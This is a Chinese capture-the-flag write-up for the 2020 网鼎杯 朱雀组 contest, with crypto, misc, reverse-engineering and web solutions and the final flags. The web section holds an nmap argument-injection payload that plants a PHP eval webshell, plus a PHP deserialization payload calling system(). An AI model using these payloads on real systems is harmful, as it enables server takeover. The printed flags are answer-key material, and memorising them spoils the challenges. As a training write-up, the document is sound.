2020 网鼎杯-朱雀组 WriteUp

🏛️ 组织架构

  • 支持单位：国家网络与信息安全信息通报中心、深圳市人民政府、广东省公安厅

  • 联合主办：深信服科技股份有限公司、北京永信至诚科技股份有限公司

  • 联合协办：阿里巴巴、百度、腾讯、奇安信、清华大学网络科学与网络空间研究院、中国科学院信息工程研究所等

Crypto

simple（仿射加密）

仿射加密原题，直接找在线网站解就行了

1
flag{c8d8ec65-db9f-44f5-8361-ab225c76bbaa}

rua（低指数广播攻击）

pasted_1784211324687_odoemy.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from math import gcd


c1 = 8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696

n1 = 18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393


c2 = 17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956

n2 = 21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883


c3 = 5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607

n3 = 22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789


def crt(ciphertexts, moduli):
    """中国剩余定理。"""
    N = 1

    for n in moduli:
        N *= n

    result = 0

    for c, n in zip(ciphertexts, moduli):
        Ni = N // n
        inverse = pow(Ni, -1, n)
        result += c * Ni * inverse

    return result % N, N


def integer_nth_root(value, exponent):
    """二分法计算整数 n 次方根。"""

    low = 0
    high = 1

    while pow(high, exponent) <= value:
        high *= 2

    while low + 1 < high:
        middle = (low + high) // 2
        powered = pow(middle, exponent)

        if powered <= value:
            low = middle
        else:
            high = middle

    return low


ciphertexts = [c1, c2, c3]
moduli = [n1, n2, n3]

# 检查模数是否两两互素
for i in range(len(moduli)):
    for j in range(i + 1, len(moduli)):
        print(f"gcd(n{i + 1}, n{j + 1}) =", gcd(moduli[i], moduli[j]))

combined, modulus_product = crt(ciphertexts, moduli)

# 题目没有直接给出 e，可以枚举常见低指数
for e in [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]:
    m = integer_nth_root(combined, e)

    if pow(m, e) == combined:
        plaintext = m.to_bytes((m.bit_length() + 7) // 8, "big")

        print("[+] 找到指数 e =", e)
        print("[+] 明文整数 m =", m)
        print("[+] 明文 =", plaintext)

        # 验证每组 RSA 密文
        for index, (c, n) in enumerate(zip(ciphertexts, moduli), 1):
            assert pow(m, e, n) == c
            print(f"[+] 第 {index} 组密文验证成功")

        break
else:
    print("[-] 未找到精确整数根")

Misc

九宫格（Rabbit 加密）

pasted_1784211601379_s6c9df.png

打开压缩包拿到了好多的二维码，批量扫描得到

1
010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001

转为 ASCII 码得到

1
U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa

两条对角线（852456）从小到大排序

pasted_1784212037079_l8677y.png

解密拿到 flag

pasted_1784212061626_9d00ef.png

key（ZIP 爆破 + PNG 宽高篡改 + 文件附加隐写 + 差分曼彻斯特编码）

pasted_1786192633720_p34k6z.png

下载附件是一个加密压缩包，直接爆破得到密码是 123

解压缩后有两张图片

pasted_1786193079292_hne95j.png

锁.png 则是附加了一个 ZIP 压缩包，该压缩包是加密的

pasted_1786199734994_ce719s.png

匙.png 表面是 PNG，但解析 PNG chunk 后发现 IHDR 的 CRC 不匹配，说明图片宽高被篡改过

010 修改高度为 1499 即可看到一串十六进制，这个高度可以通过写脚本跑出来，也可以自己随便输入

pasted_1786197242052_893zox.png

提取出来

1
295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656

这里考察的是差分曼彻斯特编码，差分曼彻斯特编码的规则可总结为 “中间必跳变，边界看反相”

  • 位中间（强制同步）：每个比特位的中间时刻必定发生电平跳变（高→低或低→高），用于提取时钟信号

  • 位边界（编码数据）：电平在比特起始边界处是否跳变决定了数据值（以常用 IEEE 802.5 标准为例）：

    • 边界有跳变 → 代表逻辑 0

    • 边界无跳变 → 代表逻辑 1

编码时需要一个前一比特的结束电平作为参考。我们假设虚拟的 “前一结束电平”为高电平（H）

例如：ASCII 码 'a' = 0x61 = 01100001

数据位 边界规则 起始电平（与上一结束比较） 中间跳变后 本比特结束电平 半位序列（H/L）
0（第1位） 有跳变 必须与 H 不同 → L 跳变至 H H L H
1（第2位） 无跳变 必须与 H 相同 → H 跳变至 L L H L
1（第3位） 无跳变 必须与 L 相同 → L 跳变至 H H L H
0（第4位） 有跳变 必须与 H 不同 → L 跳变至 H H L H
0（第5位） 有跳变 必须与 H 不同 → L 跳变至 H H L H
0（第6位） 有跳变 必须与 H 不同 → L 跳变至 H H L H
0（第7位） 有跳变 必须与 H 不同 → L 跳变至 H H L H
1（第8位） 无跳变 必须与 H 相同 → H 跳变至 L L H L

将上表的半位序列按顺序拼接：

1
L H H L L H L H L H L H L H H L

按差分曼彻斯特解码规则：比较当前比特的 “起始电平” 与上一比特的 “结束电平”

  • 相同 → 边界无跳变 → 解码为 1

  • 不同 → 边界有跳变 → 解码为 0

以上述序列 L H H L L H L H L H L H L H H L 为例（每两个半位一组）：

比特位（组） 起始电平 上一结束电平 是否相同 解码结果
第1组 L H L 虚拟起始 H 不同 0
第2组 H L H 第1组结束 H 相同 1
第3组 L H L 第2组结束 L 相同 1
第4组 L H L 第3组结束 H 不同 0
第5组 L H L 第4组结束 H 不同 0
第6组 L H L 第5组结束 H 不同 0
第7组 L H L 第6组结束 H 不同 0
第8组 H L H 第7组结束 H 相同 1 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
hex_key = "295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656"

# 将十六进制字符串转换为字节序列，再将每个字节扩展为8位二进制字符串，拼接成一个长二进制位串
# 例如：0x29 -> '00101001'，所有字节拼接后得到连续的半位序列（每个字节8位）
bits = ''.join(f'{x:08b}' for x in bytes.fromhex(hex_key))

def diff_manchester_decode(s):
    r = ""                      # 存储解码后的二进制数据串（每位对应原始数据的一个比特）
    # 每 2 个半位对应一个原始数据位，因此循环次数为 len(s)//2
    for i in range(len(s) // 2):
        # s[2*i] 是当前数据位的起始半位电平（0/1）
        # s[2*i-1] 是前一个数据位的结束半位电平（当 i=0 时，s[-1] 是字符串最后一个半位，这不符合常规解码逻辑）
        # 若两者相同，表示数据位开始处没有电平跳变（边界无跳变），按差分曼彻斯特常规约定（IEEE 802.5）解码为 '1'
        # 若不同，则表示有跳变，解码为 '0'
        if s[2 * i] == s[2 * i - 1]:
            r += "1"
        else:
            r += "0"
    # 将二进制字符串 r 转换为整数，再转为字节序列。
    # 注意：len(r)//8 作为字节长度，要求 len(r) 必须是 8 的倍数，否则会引发 OverflowError
    return int(r, 2).to_bytes(len(r) // 8, "big")

# 尝试四种不同的前缀（各 2 位）来模拟不同的起始相位对齐
# 因为差分曼彻斯特解码需要知道第一个数据位之前的一个参考电平，这里通过替换 bits 的前 2 位来尝试不同初始状态
for prefix in ("00", "01", "10", "11"):
    # 拼接前缀并丢弃原串的前2位，保持总长度不变
    candidate = diff_manchester_decode(prefix + bits[2:])
    # 输出当前前缀对应的解码字节结果
    print(prefix, candidate)

最后得到 11 b'Sakura_Love_Strawberry'，解开压缩包拿到 flag： flag{061056cc-980c-4214-b163-230e5cd5c78e}

Web

nmap（.phtml 绕过 + 短标签绕过）

pasted_1785426730040_3m9z0w.png

后端执行的 nmap 扫描，要我们输入执行的参数

pasted_1785426588561_ii6iqf.png

利用参数 -oG 将扫描结果输出到一个文本文件中，我们可以写入一句话木马

同时题目对文件内容以及后缀名都有过滤掉 php，绕过即可

1
127.0.0.1 | '<?= @eval($_POST["hack"]);?> -oG hack.phtml'

连接成功

pasted_1785426542400_bohwul.png

phpweb（RCE + 反序列化）

pasted_1785703011639_nmtza8.png

访问首页发现一直在发送一个 POST 包

pasted_1785702152887_hfcjzh.png

放到重放模块中观察有点像执行了 date() 函数

pasted_1785702218544_fcqiow.png

使用 file_get_contents 成功读取到了首页的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 危险函数黑名单
$disable_fun = array(
    "exec", "shell_exec", "system", "passthru", "proc_open",
    "show_source", "phpinfo", "popen", "dl", "eval",
    "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg",
    "assert", "substr_replace", "call_user_func_array", "call_user_func",
    "array_filter", "array_walk", "array_map",
    "registregister_shutdown_function", "register_tick_function",
    "filter_var", "filter_var_array", "uasort", "uksort",
    "array_reduce", "array_walk", "array_walk_recursive",
    "pcntl_exec", "fopen", "fwrite", "file_put_contents"
);

// 调用函数，返回字符串结果
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    if (gettype($result) == "string") {
        return $result;
    }
    return "";
}

// 析构时动态执行
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";

    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

// 接收参数并过滤
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}
?>

pasted_1785702366486_6ntal7.png

如果我们传入 func=unserialize，unserialize 不在黑名单中，检查通过，于是执行：

1
gettime('unserialize', $p);  // 相当于 call_user_func('unserialize', $p)

由此我们可以构造一个对象，脚本运行结束，对象被销毁，__destruct() 自动触发

1
2
3
4
5
6
7
8
9
10
11
12
class Test {
    var $p = "cat $(find / -name flag*)";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a = new Test();
echo serialize($a);

pasted_1785703039963_wxbusx.png

Reverse

tree（二叉树）

pasted_1785926813652_2er60s.png

反编译定位 main 函数，将我们输入的值 v4 传入了 chkflag() 中

pasted_1785926944181_khavs5.png

进入函数，分析核心逻辑

pasted_1785927495159_b89ao8.png

函数开头固定了 flag 格式

1
strcpy(Str, "flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}");

每个 x 位置要求输入一个十六进制字符

1
2
3
if ( Str[i] == 120 ) // 120 = x

0 1 2 3 4 5 6 7 8 9 a b c d e f

每读到一个 x 位置，程序会把该字符转成 4 位二进制字符

1
2
3
4
5
case 'a':
  glockflag[4 * v4]     = 49; // '1'
  glockflag[4 * v4 + 1] = 48; // '0'
  glockflag[4 * v4 + 2] = 49; // '1'
  glockflag[4 * v4 + 3] = 48; // '0'

完整映射如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0 -> 0000
1 -> 0001
2 -> 0010
3 -> 0011
4 -> 0100
5 -> 0101
6 -> 0110
7 -> 0111
8 -> 1000
9 -> 1001
a -> 1010
b -> 1011
c -> 1100
d -> 1101
e -> 1110
f -> 1111

所以 chkflag() 的本质是把 flag 中的 32 个十六进制字符展开成 128 位二进制串

继续往后分析 parse() 函数

pasted_1785929035504_jyl34g.png

明显是二叉树，循环 128 次（v5 <= 127）：

  • 按位移动：

    • 如果当前位是 '0'（ASCII 48）：v3 = *(v3 + 12)，即移动到左子节点

    • 如果当前位是 '1'（ASCII 49）：v3 = *(v3 + 16)，即移动到右子节点

  • 检查当前节点（*v3）：读取节点首字节

  • 判断是否为小写字母（> 96 且 <= 122）：

    • 如果是：将 *v3 这个字符存入 Str2，索引 v4 加一。最关键的一步：将当前节点 v3 重置回根节点 a1（表示一个字符合成完毕，准备解码下一个字符）

    • 如果不是：不输出字符，v3 保持当前节点，继续用下一个 bit 深入遍历

使用 strncmp 比较 Str2 和硬编码字符串 "zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx"

parse(a1) 的参数 a1 是树根节点，所以这棵树一定在前面被构造，下一步就是分析 init() 函数

pasted_1785929547999_an0l4p.png

接下来是算法逻辑拆解，第一步：初始化 26 个叶子节点

代码首先从 &unk_404040 拷贝了 26 个 int 数值到局部数组 v1。这 26 个数就是 26 个小写字母 a~z 的权重

第二步：霍夫曼树构建循环

这是一个经典的 “寻找两个最小权重节点，合并为新节点” 的过程：

  • 寻找最小两个：循环遍历当前所有节点（v7 表示当前节点总数），找出两个未被合并（标志位为 0）且权重最小的节点：

    • v5 指向最小权重节点

    • v4 指向次小权重节点

终止条件：如果找不到第二个节点（v4 == -1），说明只剩下根节点了，跳出循环

合并节点：

  • 创建一个新节点（索引为当前的 v7）：

    • 左子节点设为最小节点 v5（存储在偏移 +12）

    • 右子节点设为次小节点 v4（存储在偏移 +16）

    • 新节点权重 = 两者权重之和

  • 将 v5 和 v4 的标志位设为 1（标记它们已合并）

  • 节点总数 v7 加 1

第三步：返回根节点

循环结束后，v5 存储的就是最后一次未被合并的节点（即整棵树的根节点）。函数将其地址赋值给全局变量 root 并返回

查看权重

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
a: 3
b: 19
c: 27
d: 6
e: 15
f: 47
g: 42
h: 58
i: 6
j: 95
k: 25
l: 7
m: 18
n: 55
o: 30
p: 24
q: 22
r: 2
s: 105
t: 13
u: 4
v: 75
w: 23
x: 12
y: 38
z: 51

简单来说，init() 的任务就是

1
2
3
每次找两个最轻的东西，把它们绑在一起，变成一个新的更重的东西
然后继续找两个最轻的，再绑
一直绑到最后只剩一个整体

最后这个整体就是一棵树，假设现在只有 4 个字母，不是 26 个，一开始它们是分开的：

1
a(3)   b(5)   c(7)   d(10)

先找两个最轻的，把它们绑成一个新东西

1
ab(8)   c(7)   d(10)

树的样子是：

1
2
3
   ab(8)
   /   \
a(3)  b(5)

然后继续找两个最轻的，把它们绑起来

1
2
3
ab(8)   c(7)   d(10)

cab(15)

树变成：

1
2
3
4
5
   cab(15)
   /     \
c(7)    ab(8)
        /   \
     a(3)  b(5)

然后继续

1
d(10)   cab(15)

绑起来

1
root(25)

树变成

1
2
3
4
5
6
7
   root(25)
   /      \
d(10)    cab(15)
         /     \
      c(7)    ab(8)
              /   \
           a(3)  b(5)

规则是往左走 = 0，往右走 = 1

从 root 到每个字母的路，就是这个字母的编码

例如 a 就是 root -> 右 -> 右 -> 左，所以就是 110

编写脚本解出 Huffman 表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
weights = [
    3, 19, 27, 6, 15, 47, 42, 58, 6, 95,
    25, 7, 18, 55, 30, 24, 22, 2, 105, 13,
    4, 75, 23, 12, 38, 51
]

nodes = []

# 1. 初始化 a-z 这 26 个叶子节点
for i, w in enumerate(weights):
    nodes.append({
        "ch": chr(ord("a") + i),
        "weight": w,
        "left": None,
        "right": None,
        "used": False,
    })

count = 26

# 2. 模拟 init() 的 while 循环
while True:
    min1 = -1
    min2 = -1
    v1 = 9999
    v2 = 9999

    # 找未使用节点中最小和第二小的两个节点
    for i in range(count):
        if nodes[i]["used"]:
            continue

        if nodes[i]["weight"] < v1:
            v2 = v1
            min2 = min1
            v1 = nodes[i]["weight"]
            min1 = i
        elif nodes[i]["weight"] < v2:
            v2 = nodes[i]["weight"]
            min2 = i

    # 如果只剩一个节点，说明建树完成
    if min2 == -1:
        root = min1
        break

    # 新建父节点
    # 注意：最小的节点放 left，第二小的节点放 right
    nodes.append({
        "ch": None,
        "weight": nodes[min1]["weight"] + nodes[min2]["weight"],
        "left": min1,
        "right": min2,
        "used": False,
    })

    nodes[min1]["used"] = True
    nodes[min2]["used"] = True

    count += 1


# 3. 从 root 开始 DFS，生成编码表
codes = {}

def dfs(idx, path):
    node = nodes[idx]

    # 如果是字母节点，就记录它的编码
    if node["ch"] is not None:
        codes[node["ch"]] = path
        return

    # 左边记 0
    dfs(node["left"], path + "0")

    # 右边记 1
    dfs(node["right"], path + "1")


dfs(root, "")

for ch in sorted(codes):
    print(f"{ch} -> {codes[ch]}")

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
a -> 111010111
b -> 00010
c -> 11000
d -> 0111010
e -> 110011
f -> 0011
g -> 0010
h -> 1101
i -> 0111011
j -> 010
k -> 01111
l -> 1110100
m -> 111011
n -> 1011
o -> 11100
p -> 01101
q -> 00011
r -> 111010110
s -> 100
t -> 110010
u -> 11101010
v -> 1111
w -> 01100
x -> 011100
y -> 0000
z -> 1010

将 zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx 转为二进制

1
10101111101001000001111111001000010101110100111100010010010010000001101010000100100111010111111101110001001000001111100010011100

然后每 4 位转为 Hex 最后得到 flag

1
flag{afa41fc8-574f-1248-1a84-9d7f7120f89c}

go（Go + Base64 换表）

pasted_1785955081599_dwx7ck.png

Go 语言编写的程序，没有去符号，IDA 正常反编译

pasted_1785956325712_mn7dyd.png

太难看了，我们取重点部分

1
2
3
4
5
flag.str = "cbdb2c89f6800e6c93e1c1e541e1a89758f45fd988c6652fa955db2f00290da272454969d57b828ca80bd146ebe8c89d";
flag.len = 96;

pwd.str = "nRKKAHzMrQzaqQzKpPHClX";
pwd.len = 22;

关键校验在这里

1
2
3
4
5
6
7
8
9
10
*&typ[16] = main_encode(*typ);
...
*&typ[16] = "==";
*&typ[24] = 2;
*&typ[32] = strings_TrimRight(*typ, *&typ[16]);

if ( *&typ[40] != pwd.len || ... runtime_eqstring() ... )
{
    fmt.Println("key is error.")
}

还原成 Go 代码就是

1
2
3
4
5
6
7
8
9
10
11
12
// 对输入数据进行自定义编码，得到编码后的字符串
encoded := main.encode(input)

// 移除编码结果末尾的 "==" 填充字符
encoded = strings.TrimRight(encoded, "==")

// 检查处理后的编码串是否与预期的固定密钥匹配
if encoded != "nRKKAHzMrQzaqQzKpPHClX" {
    // 若不匹配，输出错误信息并终止当前函数执行
    fmt.Println("key is error.")
    return
}

通过校验后，用输入当 AES key 解密

1
2
3
4
5
6
7
memset(&coder, 0, sizeof(coder));
coder.Key = *v10;

runtime_stringtoslicebyte(0, flag);
main__ptr_gogo_Decode(&coder, ...);
runtime_slicebytetostring(...);
fmt_Println(...);

继续看 main.encode

pasted_1785958237342_c421gv.png

很明显这里是 Base64 换表

1
XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64

# 自定义 Base64 字母表（乱序）与标准表的映射
custom = b"XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01"
standard = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

target = b"nRKKAHzMrQzaqQzKpPHClX"

# 将 target 从自定义表映射到标准表，并补回 "=="
trans = bytes.maketrans(custom, standard)
std_b64 = target.translate(trans) + b"=="

# 标准 Base64 解码得到原始密钥
key = base64.b64decode(std_b64)

print(std_b64)
print(key)
print(key.decode())

运行后得到

1
2
3
b'V2hhdF9pc19nb19hX0FfSA=='
b'What_is_go_a_A_H'
What_is_go_a_A_H

接下来只需要继续分析 main.(*gogo).Decode，验证它如何用这个 key 解密

pasted_1785958631957_egz8pw.png

这里很明显可以看到使用的是 AES 加密

pasted_1785958765841_mjjhdo.png

这里要求 IV 的长度必须是 16，而 What_is_go_a_A_H 刚好是 16

pasted_1785958883302_sp77x0.png

这里能看到使用的是 CBC 模式

pasted_1785958965032_z1qa3i.png

成功拿到 flag

pasted_1785959031393_nezrh3.png